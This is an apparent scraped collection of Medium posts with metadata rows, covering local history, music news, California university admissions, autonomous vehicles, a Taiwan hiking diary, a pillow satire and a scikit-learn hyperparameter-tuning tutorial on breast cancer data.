“I enjoy the autonomy and responsibility given to me to do my job. The skills I picked up at NSCC allowed me to enter this industry with an extra edge. I am happy to be motivated by something I enjoy doing,” he says.
More than 600 organizations, like Atlantic Electronics, have hired more than 1,000 recent graduates across Nova Scotia using GTO funding. | https://medium.com/@nsgov/new-grads-crucial-to-business-growth-b4b15904f019 | ['Nova Scotia Government'] | 2020-02-18 17:35:17.799000+00:00 | ['Business', 'Graduate', 'Nova Scotia', 'Employment', 'Small Business'] |
Century-old Ti: Funeral of Earl Wilkinson | This is the latest in a series of posts about news reported a century ago in the Ticonderoga Sentinel.
Earl Wilkinson, a local World War I soldier who died in France in 2018, was buried Nov. 7, 1920 with full military honors at Mount Hope Cemetery.
“Ticonderoga on Sunday afternoon paid full and solemn tribute to another of her gallant sons who fell in the fields of France,” the Ticonderoga Sentinel reported on Nov. 11, 1920.
Wilkinson, who served in the Whitehall National Guard unit with the 105th Infantry, was wounded July 14, 1918, and died on either Aug. 24 or 25, 1918.
The Ticonderoga American Legion post was in charge of funeral activities, which began with a 2:30 p.m. prayer service at the home of Mr. and Mrs. Leman Wilkinson, parents of the deceased.
The Ticonderoga Community Band and more than 30 veterans were in the line of march escorting Wilkinson’s body to First Baptist Church, where the main funeral was held prior to burial.
“A young man of excellent habits, industrious and altogether likable, he held a high place in the esteem of all who knew him and his name, and the sacrifice he made will forever linger in the minds of his friends and a community that will honor him.”
In other Nov. 11, 1920 Ticonderoga Sentinel news:
An inch of snow was reported in the vicinity of Newcomb.
The Ticonderoga High School senior class food sale on Nov. 6 raised $21 — the equivalent of $276 in 2020 dollars.
Stephen Hayes of North Ticonderoga began supplying milk to Silver Bay School.
E.W. Delong of Crown Point still had some ”nice cabbage” for sale.
Mrs. Joseph Thibault won a perfume atomizer and Elmer Burke a fountain pen at the Knights of Columbus card party on Nov. 9. Florence Fuller entertained with a violin solo and Miss Rox sang “My Laddie.”
Edward Hurtibus of Whitehall donated a quantity of paper pads to Moses Hospital.
Click here to read the most recent previous post in the series. | https://medium.com/@writermaury/century-old-ti-funeral-of-earl-wilkinson-b1be94395db3 | ['Maury Thompson'] | 2020-11-15 17:33:28.125000+00:00 | ['Adirondacks', 'History', 'World War I', 'Weather', 'Ticonderoga'] |
Eminem uses song to say sorry to Rihanna for backing Chris Brown | Eminem has used a new song to apologise to Rihanna for “siding” with her ex-boyfriend Chris Brown, who assaulted her in 2009.
Eminem raps on his track Zeus: “And wholeheartedly apologies Rihanna for that song that leaked/I’m sorry, Rih, it wasn’t meant to cause you grief.”
He was referring to a decade-old song that leaked in 2019, on which he said “of course I side with Chris Brown”.
Zeus appears on Eminem’s surprise album Music to be Murdered By Side B.
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The album, which accompanies January’s Music to be Murdered By, was released on Friday.
At the time the track leaked last year, Eminem’s spokesperson said: “This is a leak of something that’s over 10 years old. After Eminem recorded it, he scrapped it, and rewrote it.”
On his new track, he admitted the original lyric “was wrong of me”.
Brown pleaded guilty to the assault in 2009, and received five years probation and a community service order.
Eminem and Rihanna have collaborated several times, including on 2010’s US number one single Love the Way You Lie, as well as Numb on her 2012 album Unapologetic and The Monster from The Marshall Mathers LP 2 in 2013.
The rapper’s new album features collaborations with Dr Dre, Ty Dolla $ign, J Premier and Skylar Gray. | https://medium.com/@dejevit366/eminem-uses-song-to-say-sorry-to-rihanna-for-backing-chris-brown-944b7fdf00e2 | [] | 2020-12-18 16:52:10.265000+00:00 | ['New York', 'News', 'Networking', 'Newsletter'] |
New Analyses Shed Light on Equity Pitfalls of Cal State’s Potential New Admissions Policy | When California State University faculty first proposed requiring applicants to complete a math or quantitative reasoning course in their senior year of high school, they specifically recommended that the system “investigate the impact these requirements may have on the success of all students, particularly those from historically underserved populations.”
Three and a half years later, the CSU system appears to be moving forward with the idea of requiring an additional quantitative reasoning course — but without first satisfying the faculty’s recommendation to study its potential impact. Though CSU officials have asserted that the proposed change will not negatively impact access to CSU for Latinx, African American, and low-income students, they’ve produced no evidence to that effect. In fact, Chancellor’s Office staff have responded to requests for data analysis by asserting that such requests need to be “reasonable.”
First of all, analyzing available evidence about possible disparate impact before making policy decisions is not just reasonable — it’s responsible. Secondly, the idea that such analyses are somehow not feasible is refuted by two new studies whose findings don’t support the CSU’s claims that admissions policies are the way to improve access to rigorous quantitative reasoning courses. Rather, they suggest there is far more work to do at the high school level to achieve that outcome.
The first study, an analysis of CSU eligibility released yesterday found that the proposed change could reduce CSU eligibility overall, but that the most dramatic effects would fall on Latinx and African American students. A follow-up to the University Eligibility Study released by Governor Jerry Brown in 2017, the new study was produced by RTI International, which also conducted the 2017 study.
RTI researchers utilized student-level data for the Class of 2015 provided by the California Department of Education, the same data that was used in the original study. They found that, if the new requirements (including an additional year of area “c” math or area “d” science) had applied to the Class of 2015, overall eligibility rates would have been 14 percent lower. Only 35 percent of high school graduates would have been eligible instead of the actual rate of 41 percent. (Doing the math: 40.8 minus 35 equals 5.8, and 5.8 divided 40.8 equals 14 percent.) But rates for Latinx and African American students would plummet more dramatically: by 19 percent and 22 percent, respectively.
It also found that eligibility rates for low-income students would drop to 28 percent vs. 46 percent for other students. Of course, the study doesn’t account for any future changes in high school offerings or students’ course-taking decisions that could be stimulated by CSU’s proposal. CSU officials argue that the proposal will actually motivate schools to offer more quantitative reasoning courses, thus ensuring that more African American and Latinx students take them. But the report does clearly show how extensively course enrollments would need to change for that prediction to come true.
Opening up new opportunities at such a scale has rarely, if ever been accomplished, and history tells us who will be left out. It is not clear what problem this high-stakes experiment is intended to address — other than the fact that “too many” students meet current eligibility requirements, under the constraints of the Master Plan. Wouldn’t it be better to celebrate eligibility, and support capacity-building within high schools and the CSU?
Another study being released this week by Policy Analysis for California Education (PACE), using more recent CDE data, sheds additional light on math course-taking among California seniors. The original faculty proposal was to require students to take math or quantitative reasoning in their senior year. Now CSU officials say the new course could be taken at any point. Nevertheless, the PACE study’s focus on the senior year is quite relevant: Most students would need to meet this requirement as seniors, since they are already taking math courses in the first three years of high school.
Analyzing data for the classes of 2016, 2017, and 2018, researchers at UC Davis found that more than 300 of the state’s traditional public high schools had no seniors enrolled in advanced math classes (courses beyond Algebra 2, currently the third of the three courses required for admission). More than six percent of all students attend schools where not a single twelfth grader took an advanced math class. The report also found that African American, Latinx and low-income students were far less likely to be enrolled in advanced math courses, even among those students who are admitted to CSU (using data provided by the CSU system). According to an earlier study by PPIC, the solution to these gaps rests with high school policies and practices — including graduation requirements, placement policies, and advising practices — not university admissions.
The CSU proposal would also allow students to meet the requirement with science courses or with other quantitative reasoning courses. The PACE study did not look at these additional courses. But, RTI’s findings suggest that adding science classes increases eligibility only slightly. Neither study analyzed the additional quantitative reasoning classes, because the available transcript data doesn’t identify them. Nor has CSU produced a comprehensive list of them.
CSU officials have made mention of a waiver scheme for students who don’t have access to the newly-required courses. If the policy is approved, any waiver system should not place the burden on students to know about and seek a waiver (or on schools that are already struggling to support students in accessing college).
Many questions remain about how students enroll in math and quantitative reasoning courses and how those patterns may change in the future. But, given the findings of these two studies, it seems “reasonable” to expect CSU officials to provide a better explanation for what problem the current proposal aims to solve, and how it would hold students harmless in terms of access to CSU. | https://pamela-80683.medium.com/new-analyses-shed-light-on-equity-pitfalls-of-cal-states-potential-new-admissions-policy-e2e3bca9397c | ['Pamela Burdman'] | 2020-01-15 20:00:09.381000+00:00 | ['Policy', 'Mathematics', 'Higher Education', 'Education', 'Admissions'] |
Will My Daughters Ever Drive a Car? | Me and Sofia — foto by the author
Will My Daughters Ever Drive a Car?
My daughters will grow as Autonomous Passengers in a new kind of mobility but will they need a driver's license?
I am the father of three amazing daughters: Stella, a beautiful and smart 13 years old teenager, Sofia, an incredibly smart 3 years old and last but definitely not least… Emily, just one 1 old but already able to show all her strong and curious character.
These girls do their best to keep me busy with all those kinds of stuff that fathers must deal with every day and maybe it is too early to get worried about it.. but recently after a pleasant conversation with a friend that works like me in the transportation industry, I’ve started to hear in my mind an almost philosophical question:
My daughters are digital natives, but they still use a very analogic and traditional piece of paper to draw their amazing and fantastic animals and flowers at home and a lot of paper notebooks while learning at school… so the question is: will they need a driver’s license in 2038?
Well, considering how things are developing today, probably not… Let me tell you why…
Photo by Ishan @seefromthesky on Unsplash
The dream of a new mobility
Imagine waking up early for work, getting ready, reading some news online on your tablet while having breakfast, without worrying about traffic and the chance of being late for having been in the traffic jam for forty minutes.
You access an application on your cell phone and request a car to take you to work, and in a few minutes, it arrives. A mechanical voice says a polite “good morning, welcome”, confirms that the destination is the one entered in the application. The vehicle starts the journey by driving automatically.
The AI algorithm will calculate the shortest route considering the variables of traffic, traffic lights, number of vehicles, accidents, and works on the way. Whatever else may affect the trip. Comfort will be a priority: air temperature, water if you feel thirsty, and various playlists to choose from will be available.
This scenario seems to be the future of mobility.
My daughters will grow in this reality and considering that, as they are deemed Native Digital today… they will grow as Autonomous Native Passengers in a new kind of mobility, ruled by Autonomous Vehicles.
Photo by Adrian Williams on Unsplash
Safety as a horizon for new mobility.
I love to imagine this autonomous scenario for the future, which may not happen anytime soon, considering that full automation faces “very complex” problems. It could end up reducing these vehicles to some very restricted applications.
But I am a dreamer, and I believe that Autonomous Vehicles’ technology is an indispensable tool for zero accidents on roads worldwide. This will be the leading driver (pun intended) for massive adoption.
I was born in Brazil at the end of the ’70s and had the not desirable fortune to grow in a country where traffic incidents used to count more deaths than some military conflicts.
Over the years, I’ve had lost an unacceptable number of friends due to traffic incidents.
Recent studies show some improvements, but the situation is still dramatic, even with some increase in the number of fatal incidents.
According to the World Health Organization, in 2018, car accidents were the leading cause of young people’s death up to 29 years old. To give you an example, in the USA, 94% of accidents, which caused 1.35 million deaths, had their causes related to human errors.
It is argued that, by 2025, autonomous cars will represent 4% of the total vehicles sold in the world and 75% in 2035, within 15 years. This could drastically reduce the number of incidents across the globe. I will tell you why…
Photo by Dan Gold on Unsplash
Autonomous Vehicles will drive better than you do.
Autonomous vehicles will not get tired, distracted, or intoxicated while driving.
They will be controlled by AI systems connected to redundant sensors and other top-level electronic equipment.
They go from one place to another, as the user instructed, and while on the way, they will collect all the necessary environmental information, such as signals, pedestrians, and other vehicles, while being directed by satellite systems to make a safe and optimized trip.
This technology has been developed globally, in universities and research centers, and in the automotive industry itself.
Many brilliant minds are putting a tremendous amount of money and effort into making it happen safely and efficiently.
Photo by Lerone Pieters on Unsplash
Rethinking our cities
If this technology succeeds, and I really believe it will, not only will my daughters’ driving experiences will change, but the whole metropolitan model wherever they will decide to live in the next 20 years will change, too.
According to a study carried out in the United Kingdom, shared VAs will increase the urban space by 15 to 20%, mainly by eliminating parking areas.
Research is being published on the international scene with optimistic projections of the autonomous transport application in different instances.
In the next 20 years, I see that it will be much more comfortable and pleasant to live in cities once they start adapting to Autonomous Vehicles.
This transformation is already taking place and it will allow no accidents on the road in the next 20 years, but this will depend on a process of profound change based on three pillars where shared and connected mobility, autonomous and electrical will rely on technology in vehicles also outside of them.
My daughters will grow in a complex metropolitan ecosystem formed by drones that take people or feed agriculture, robots, and various vehicles of different sizes that can take many people and just one (the so-called micro-mobility), wireless electrical charges, and other technologies we already start to see today.
But even with all this available automation, will they be able to or required to drive? The question is still open.. and maybe to help us to answer that, we should look through the next point:
Photo by shun idota on Unsplash
What are the advantages of AVs?
As we can see today, the main advantages of Autonomous vehicles are safety enhancements but also time savings.
For example, those who today drive for an hour to get to work could dedicate themselves to work and do video conferences in their vehicles…
Hopefully, my daughters in 2038 will use their commuting time to study, watch some programming language on youtube or simply chat with their friends and colleagues, thanks to the increased comfort and security delivered by the AVs.
But probably, they will not have a long commuting time since AVs are expected to reduce traffic and reduce accidents due to the remarkable optimization that AI algorithms will apply to our mobility.
For sure, their health will have a great benefit from less pollution in our cities, because 100% of AVs in the future will be electric.
Photo by takahiro taguchi on Unsplash
And what about the driver’s license?
But what happens if, instead of all these features and improvements provided by full automation, my daughters will decide to put themselves behind the steering wheel, considering that still, a steering wheel will be available in AVs vehicles?
Well… I really don’t see this as an alternative in 2038 when Emily, my younger daughter, will be 18 years. According to research carried out in the UK in 2019, drivers of self-driving automobiles will need certification to adapt to new vehicles.
According to the survey, the driver’s license will continue to be indispensable in the future since vehicles will require human intervention in certain circumstances.
This kind of study is beneficial to put some light on the limitation of technology today. However, I still believe that in the next 20 years, many of the open questions still represent a roadblock to the full adoption of AVs will find their reliable answers. We will reach a level of standardization and safety requirements in our roads that will be unacceptable to allow humans to drive.
Probably we will move the ownership of the driver’s license from humans to the algorithms directly. But this is another story that I will cover in a future article.
Photo by Gabe Pierce on Unsplash
Conclusion
Self-driving vehicles will become part of our lives. When controlled by algorithms instead of humans, vehicles will lose their current value as a fetish or status symbol and finally become a tool.
AVs’ benefits are numerous and significant, and their adoption will represent a great challenge to many business models as we know today.
Maybe it is too early to imagine VAs on a large scale on the streets, but it is time to put some questions and start to prepare the ground for them in all spheres.
Autonomous Vehicles will be a reality very soon. In 1908, Henry Ford revolutionized the way we see cars, making them a symbol of utilitarianism, comfort, and status. Now, after just over a hundred years, AI will reinvent mobility and start a new era.
Read more about it
If you want you can read more about Autonomous Vehicles in these articles: | https://medium.com/swlh/will-my-daughters-never-drive-a-car-6e579158717a | ['Jair Ribeiro'] | 2020-12-06 18:00:22.287000+00:00 | ['Mobility', 'Artificial Intelligence', 'Future', 'Autonomous Vehicles', 'Autonomous Cars'] |
Hiking and chaos | I suggested we could probably go for a quick hike at the nearby mountain. The hike isn’t difficult according to the blogs and instagram views. It started from a low point in Linnei, nearby a temple. Hiking up along the trees and trails, the trail only takes 30 minutes to reach to the other side. I was hyped!
I have been to linnei, mainly for the foresty season where you get to see trees in different shades of colors.
We arrived and spent a couple of minutes to hike up to the middle part of the trail. My mom couldn’t stand the constant up-and-downs, so we decided to go back after a couple of minutes. There were quite a few people hiking up as well. The weather was great but it was extremely warm, I got a heat stroke after coming home. It was roughly 35c whilst we went up the trail.
half way up
To be honest, I was slightly disappointed by the hike. Firstly, I expected it would be lots chiller climate. Second of all, I thought the air would be fresh, but the hike was right above a temple where they burn lots paper money. I could smell it burning in the air when we walked up. There were as well people singing kareoke right outside the temple. Those paid-to-sing portable kareokes, where they sang so loudly as if there’s no one around.
We decided to get some quick lunch at a nearby town Doulio. My friend from high school used to live here, she has brought me around the town and I was slightly familiar with it. I would take the train to visit her on the weekends and she would ride motorbike to take me around the hood.
Doulio is actually big. Probably bigger than Chiayi city.
There were few wooden houses being preserved and renovated on the old ally ways. Most turned into cafes. Apparently those are the old police dorms back in the Japanese era. The houses were built by hinoki woods, high setted flooring and very neat plants being decorated around the corners.
Opening the wooden door, where you actually have to drag it open with force. It felt like those Japanese houses in the animation. | https://medium.com/@hsintilee/hiking-and-3dfe0ae961c | ['H. L'] | 2021-05-07 06:50:31.490000+00:00 | ['Diary', 'Hiking', 'Taiwan', 'Chiayi', 'Linnei'] |
What Your Number of Pillows Says About You | You’ve decided to take the plunge into adulthood and invest in a new bed. Thanks to a stack of mostly expired Bed Bath & Beyond coupons you have all but finished customizing your new bed/desk/dinner table. But there’s one issue left: how many pillows are you supposed to adorn it with? This question is more important than you may realize. Here’s what how many pillows you have says about your personality.
0 pillows: While you run the risk of appearing as if you can’t afford a pillow, or are too lazy to buy a pillow, make no mistake about it: your pillowlessness is a choice. A pillowless sleeper believes in nothing but the basics and relishes the benefits of night of supine slumber (a direct view of the stars, a healthy back, etc.). This sleeper is also known for his/her resourcefulness, often turning what he has into a makeshift pillow if necessary.
1 pillow: This is the simple sleeper. The single-pillow owner is a trusting, intimate person who doesn’t need variety or decadence. This is a committed relationship sleeper, not a fling sleeper.
2–3 pillows: Statistically America prefers to sleep with between two and three pillows, which offers advantages in physical and emotional comfort. There are several combinations that lend themselves to a fun night, such as two by the head and one between the legs, two by the head and one held in an embrace, or even three beneath the head. Explore the options. Two-to-three is the standard for a reason and will likely be the dominant figure in American bedrooms for years to come.
4–5 pillows: Having this many pillows on your bed suggests an anxiety that in the future you may need more pillows than you have available. Pillows four and five are arguably not crucial to a night’s sleep, but they sure do come in handy when you’re trying to accommodate a bedfellow while not limiting your own comfort. This sleeper is always ready for a pillow fight — if not always suggesting one.
6–9 pillows: This is a good range if you have certain problems in your brachial plexus or subclavian artery, such as thoracic outlet syndrome or cervical radiculopathy, that require substantial neck support. Having this many pillows will allow your bones to settle comfortably and reduce the risk of a pinched nerve. Plus, depending on your exact plan, many insurance networks will cover pillows with doctor’s approval.
How many pillows do you see? (Hint: there are more than you think)
10–12 pillows: This range indicates that hoarding is in your blood, though you likely refuse to accept it. If you fall within this window you better have a bed large enough to accommodate all those pillows. This often works best with your bed pushed into the corner of the room, to reduce the risk of the pillows falling on the floor and to soften the impact of the wall on your frail bones.
13–19 pillows: This is the perfect number of pillows for the sleeper with a large bed and an even larger imagination. Think of each pillow as an opportunity for an adventure (an adventure of comfort!). Keep in mind that the washing of pillowcases will now become more of a chore, but you also have more freedom with pillowcase designs or themes. Maybe a pillow family tree, wherein each pillow represents a relative? Or are you an American history buff? Consider an original colony-themed arrangement. You could even keep each pillow in its corresponding geographic location, resting your feet on the Georgia pillow and keeping the northern half of the Massachusetts pillow between your head and the headboard. Let the waves of the Atlantic Ocean be your sweet lullaby.
20–44 pillows: You are an opulent sleeper. You accept nothing but the softest nights and you put comfort above all else. Be careful, though, as with any number north of 30 you run the risk of burying yourself in the pillows, possibly suffocating beneath them. If you do purchase this many pillows, be sure to remain alert to your oxygen exposure, and be prepared with a bedside inhaler or paper bag in the event of mishap.
45–49 pillows: Having this many pillows suggests that you might be trying to be “the pillow guy,” but your effort is transparent and you’re better off having as many pillows as you need, not as you think people want you to have. What are you even going to do with 45 pillows? Do you use exactly 45 pillows to sleep? Didn’t think so.
50–74 pillows: This is a great number of pillows to have if you a) sell pillows on the side, or b) plan on starting an orphanage out of your apartment.
75+ pillows: This is too many pillows, even if you’re starting an orphanage out of your apartment. | https://medium.com/slackjaw/what-your-number-of-pillows-says-about-you-3398e73bd896 | ['Dustin Mark'] | 2018-09-04 14:46:01.297000+00:00 | ['Humor', 'Pillows', 'Personality', 'Bedding', 'Satire'] |
Building ML Model to Predict Whether the Cancer Is Benign or Malignant on Breast Cancer Wisconsin Data Set !! Part 4 | Building ML Model to Predict Whether the Cancer Is Benign or Malignant on Breast Cancer Wisconsin Data Set !! Part 4
In part 1 of this series, we understood in depth the data health check up, and Exploratory Data Analysis using visualization techniques. In part 2, we understood the different kind of feature selection techniques. Also we understood the voted method. In Part 3, we built seven different models for each feature selection methods and analyzed & compared the performance of the models.
Now, in this final part 4, we will understand the Step 8–9 and will try to tune the hyperparameters of the seven different models (1. Logistic Regression, 2. Random Forest Classifier, 3. Gradient Boosting Classifier, 4. Extra Trees Classifier, 5. XGB Classifier, 6. KNeighbors Classifier and 7. SVM Classifier) using two different optimization approaches (1. Random and 2. Grid Search) and then we will discuss the model deployment options.
Steps involved in doing Machine Learning Model to predict whether the cancer is benign or malignant:
Step 1: Define Problem Statement
Step 2: Data Source
Step 3: Cleaning the Data
Step 4: Data Analysis and Exploration
Step 5: Feature Selection
Step 6: Data Modeling
Step 7: Model Validation
Step 8: Hyperparameter Tuning
Step 9: Deployment In this part 4, we will cover steps 8 & 9. We are using the Breast Cancer Wisconsin dataset available on UCI Machine Learning Repository.
Problem Statement
Our objective is to identify which features are most helpful in predicting malignant or benign cancer and to classify whether the breast cancer is benign or malignant.
Data Source
We have used publicly available dataset Breast Cancer Wisconsin and have download from UCI Machine Learning Repository. Repository: https://archive.ics.uci.edu/ml/datasets/Breast+Cancer+Wisconsin+%28Diagnostic%29.
The data, in csv format, can be downloaded from this link
At this Github link, you can access all the code and data of the project.
Step 8: Hyperparameter Tuning
1. Tuning or optimizing hyperparameters using RandomizedSearchCV
Using Scikit-Learn’s RandomizedSearchCV method, we can define a grid of hyperparameter ranges, and randomly sample from the grid, performing K-Fold CV with each combination of values.
Define a function to load the data
def LoadData():
global feature_names, response_name, n_features, model_full
model_full = d.read_csv('
# we change the class values (at the column number 2) from B to 0 and from M to 1
model_full.iloc[:,1].replace('B', 0,inplace=True)
model_full.iloc[:,1].replace('M', 1,inplace=True)
response_name = ['diagnosis']
drop_list = ['Unnamed: 32','id','diagnosis']
model_full_x= model_full.drop(drop_list,axis = 1)
X = model_full_x
y = model_full.diagnosis
X_train, X_test, y_train, y_test = train_test_split(X,y,
test_size = 0.3,
random_state = 12345)
return X_train, y_train, X_test, y_test from sklearn.model_selection import train_test_splitdef LoadData():global feature_names, response_name, n_features, model_fullmodel_full = d.read_csv(' https://raw.githubusercontent.com/Muhd-Shahid/Breast-Cancer-Wisconsin/master/data_breast-cancer-wiscons.csv' # we change the class values (at the column number 2) from B to 0 and from M to 1model_full.iloc[:,1].replace('B', 0,inplace=True)model_full.iloc[:,1].replace('M', 1,inplace=True)response_name = ['diagnosis']drop_list = ['Unnamed: 32','id','diagnosis']model_full_x= model_full.drop(drop_list,axis = 1)X = model_full_xy = model_full.diagnosisX_train, X_test, y_train, y_test = train_test_split(X,y,test_size = 0.3,random_state = 12345)return X_train, y_train, X_test, y_test
Tree based feature selection with random forest classifier
Here, we used the same optimal feature sets that we selected in Part 2 because we want to compare optimized model with previous one. you can also try with all features and see the performance of the model.
# 5. Tree based feature selection with random forest classification
fs_rf = ['texture_mean', 'area_mean', 'concavity_mean', 'area_se', ‘concavity_se’, ‘fractal_dimension_se’, 'smoothness_worst','concavity_worst', 'symmetry_worst',
'fractal_dimension_worst']
Scaling the data using StandardScaler()
x_train, y_train, x_test, y_test = LoadData()
from sklearn.preprocessing import StandardScaler
# Included the relevant features
x_train = x_train[fs_rf]
x_test = x_test[fs_rf] # scaling data
scale = StandardScaler()
X_train = scale.fit_transform(x_train)
X_test = scale.fit_transform(x_test)
1.1 Define Hyperparameter Grid for RandomizedSearchCV
To use RandomizedSearchCV, here, we have defined dictionary of models and a dictionary of parameters for each of the models for the helper class.
from sklearn.ensemble import ExtraTreesClassifier
from sklearn.ensemble import RandomForestClassifier
from sklearn.linear_model import LogisticRegression
from sklearn.ensemble import GradientBoostingClassifier
from sklearn.svm import SVC
from sklearn.neighbors import KNeighborsClassifier models1 = {
'Logistic Regression' : LogisticRegression(),
'RandomForestClassifier': RandomForestClassifier(),
'GradientBoostingClassifier': GradientBoostingClassifier(),
'ExtraTreesClassifier': ExtraTreesClassifier(),
'KNeighbors Classifier' : KNeighborsClassifier(),
'SVC': SVC()
}
params1 = {
‘Logistic Regression’ : {‘penalty’ : [‘l1’,’l2'], ‘C’ : np.logspace(0, 4, 10), ‘solver’ :[‘liblinear’]},
‘RandomForestClassifier’: { ‘n_estimators’: [16, 32] },
‘GradientBoostingClassifier’: { ‘n_estimators’: [16, 32], ‘learning_rate’: [0.8, 1.0] },
‘ExtraTreesClassifier’: { ‘n_estimators’: [16, 32] },
‘KNeighbors Classifier’ : {‘n_neighbors’ :[1,2,5,6,7,10], ‘weights’:[‘uniform’, ‘distance’]},
‘SVC’: {‘kernel’: [‘linear’,’rbf’], ‘C’: [1, 10], ‘gamma’: [0.001, 0.0001]}
}
On each iteration, the algorithm will choose a difference combination of the features. combination, but selecting at random to sample a wide range of values.
1.2 Training of the models for RandomizedSearchCV
The credit for the helper class code below goes to Panagiotis Katsaroumpas who initially wrote it, the original version is on this blog post.
import pandas as pd
import numpy as np
from sklearn.model_selection import RandomizedSearchCV class EstimatorSelectionHelper: def __init__(self, models, params):
if not set(models.keys()).issubset(set(params.keys())):
missing_params = list(set(models.keys()) - set(params.keys()))
raise ValueError("Some estimators are missing parameters: %s" % missing_params)
self.models = models
self.params = params
self.keys = models.keys()
self.grid_searches = {} def fit(self, X, y, cv=5, n_jobs=3, verbose=1, scoring=None, refit=False):
for key in self.keys:
print("Running RandomizedSearchCV for %s." % key)
model = self.models[key]
params = self.params[key]
gs = RandomizedSearchCV(estimator= model, param_distributions = params, cv=cv, n_jobs=n_jobs,
verbose=verbose, scoring=scoring, random_state = 2020)
gs.fit(X,y)
print('===========================================================')
print('Best Score: %s' % gs.fit(X,y).best_score_)
print('Best Hyperparameters: %s' % gs.fit(X,y).best_params_)
print('===========================================================')
self.grid_searches[key] = gs def score_summary(self, sort_by='mean_score'):
def row(key, scores, params):
d = {
'estimator': key,
'min_score': min(scores),
'max_score': max(scores),
'mean_score': np.mean(scores),
'std_score': np.std(scores),
}
return pd.Series({**params,**d}) rows = []
for k in self.grid_searches:
print(k)
params = self.grid_searches[k].cv_results_['params']
scores = []
for i in range(self.grid_searches[k].cv):
key = "split{}_test_score".format(i)
r = self.grid_searches[k].cv_results_[key]
scores.append(r.reshape(len(params),1)) all_scores = np.hstack(scores)
for p, s in zip(params,all_scores):
rows.append((row(k, s, p))) df = pd.concat(rows, axis=1).T.sort_values([sort_by], ascending=False) columns = ['estimator', 'min_score', 'mean_score', 'max_score', 'std_score']
columns = columns + [c for c in df.columns if c not in columns] return df[columns]
1.3 Evaluation of the models for RandomizedSearchCV
# Define the scoring
scoring_strings = ['accuracy', 'precision', 'recall', 'f1', 'average_precision','roc_auc']
scores_all = pd.DataFrame()
# Create object of the class helper
helper1 = EstimatorSelectionHelper(models1, params1)
flag=True
for scoring in scoring_strings:
helper1.fit(X_train, y_train, cv=5, scoring=scoring, n_jobs=2)
df_scores = helper1.score_summary(sort_by='max_score')
if flag:
# Saving each model for each scoring. Plz change with ur path
df_scores.to_csv(".../Breast Cancer Wisconsin/Code/Optimization/random/"+scoring+".csv")
df_scores['scoring_name']=scoring
scores_all = df_scores
print(scoring)
print(scores_all)
flag=False
else:
# Saving each model for each scoring. Plz change with ur path
df_scores.to_csv(".../Breast Cancer Wisconsin/Code/Optimization/random/"+scoring+".csv")
df_scores['scoring_name']=scoring
scores_all= scores_all.append(df_scores, ignore_index=True, sort=False)
print(scoring)
print(scores_all)
# Saving each model for each scoring. Plz change with ur path
scores_all.to_csv(".../Breast Cancer Wisconsin/Code/Optimization/random/scores_all.csv")
1.4 Review the outcomes of RandomizedSearchCV
Below outcome is the heighest mean scores of the each scoring (accuracy, average_precision, f1, precision, recall, roc_auc) for each algorithms. Also, added the working sheet of all scores excel sheet(scores_all_random.xlsx) for your understanding.
2. Tuning or optimizing hyperparameters using GridSearchCV
2.1 Define Hyperparameter Grid for GridSearchCV
params1 = {
'Logistic Regression' : {'penalty' : ['l1','l2'], 'C' : np.logspace(0, 4, 10), 'solver' :['liblinear']},
'RandomForestClassifier': { 'n_estimators': [16, 32] },
'GradientBoostingClassifier': { 'n_estimators': [16, 32], 'learning_rate': [0.8, 1.0] },
'ExtraTreesClassifier': { 'n_estimators': [16, 32] },
'KNeighbors Classifier' : {'n_neighbors' :[1,2,5,6,7,10], 'weights':['uniform', 'distance']},
'SVC': {'kernel': ['linear','rbf'], 'C': [1, 10], 'gamma': [0.001, 0.0001]}
}
2.2 Training of the models for GridSearchCV
I used the same EstimatorSelectionHelper class and changed the GridSearchCV() function as below.
from sklearn.model_selection import GridSearchCV gs = GridSearchCV(model, params, cv=cv, n_jobs=n_jobs,
verbose=verbose, scoring=scoring, refit=refit,
return_train_score=True)
2.3 Evaluation of the models for GridSearchCV()
For evaluation of the models, I used the same code for each scoring.
for scoring in scoring_strings:
helper1.fit(X_train, y_train, cv=5, scoring=scoring, n_jobs=2)
df_scores = helper1.score_summary(sort_by='max_score')
2.4 Review the outcomes of GridSearchCV()
Below outcome is the heighest mean scores of the each scoring (accuracy, average_precision, f1, precision, recall, roc_auc) for each algorithms. Also, added the working sheet of all scores excel sheet(scores_all_grid.xlsx) for your understanding. We are getting the same performance scores and same parameters for both the approaches.
Comparisons
We can make some quick comparisons between the different approaches used to improve performance showing the returns on each. The following table shows the final results from all the improvements we made (including those from the third part without hyperparameter search). From the below table, it is clear that there is no improvement if scoring is ROC_AUC and if scoring is accuracy then there is slight improvement):
Limitations
You may get better results with more combinations of hyperparameter grid You may get better results with different split of the data. Used only one set of features(tree based features) Did not check the testing performance
Step 9: Model Deployment
Choosing how to deploy a predictive models into production is quite a complex affair, there are different way to handle the lifecycle management of the predictive models, different formats to stores them, multiple ways to deploy them and very vast technical landscape to pick from. Here, just giving you the idea for the deployment.
There are mainly two different models of model deployment that are Batch Mode and Real-time Mode.
9.1 Batch Mode example
from sklearn.linear_model import LogisticRegression
import sklearn.model_selection
import pickle
import os clf_lr = LogisticRegression(C=7.7426,penalty='l2',solver='liblinear')
clf_lr.fit(X, y)
os.chdir('/Users/Shahid/Desktop/deployment/')
pickle.dump(cl_lr, open('lr_model', 'wb'))
load_model = pickle.load(open(filename, 'rb'))
result = load_model.predict(X_unseenData)
print(result)
9.2 Real-time Mode
We will discuss deploying ML Models using Flask API in our next post.
Conclusions
Model Hyperparameter tuning is very useful to improve the performance of a ML model. We have discussed both the approaches to do the tuning that is GridSearchCV and RandomizedSeachCV across the multiple models. The only difference between both the approaches is in grid search we define the combinations and do training of the model whereas in RandomizedSearchCV the model selects the combinations randomly. Both are very effective ways of tuning the parameters that increase the model generalizability. Also, we discussed little bit about model deployment.
End Notes
This ends our Part 4 on model building and evaluation. The aim of this Part 4 was to provide step by step guide to use different approaches to tune the hyperparameter and model deployment.
Personally, I enjoyed writing this and would love to learn from your feedback. Did you find this Part 4 useful? I would appreciate your suggestions/feedback. Please feel free to ask your questions through comments below.
All the code and datasets used in this article can be accessed from my GitHub.
Thanks for reading :)
Resources | https://medium.com/swlh/building-ml-model-to-predict-whether-the-cancer-is-benign-or-malignant-on-breast-cancer-wisconsin-8654994ca20a | [] | 2021-01-03 14:40:11.091000+00:00 | ['Grid Search', 'Random Search', 'Hyperparameter Tuning', 'Scikit Learn', 'Deployment'] |
Santa Claus’s riding on the summer sky | Dusseldorf Christmas Market — Photo by Candice Chan
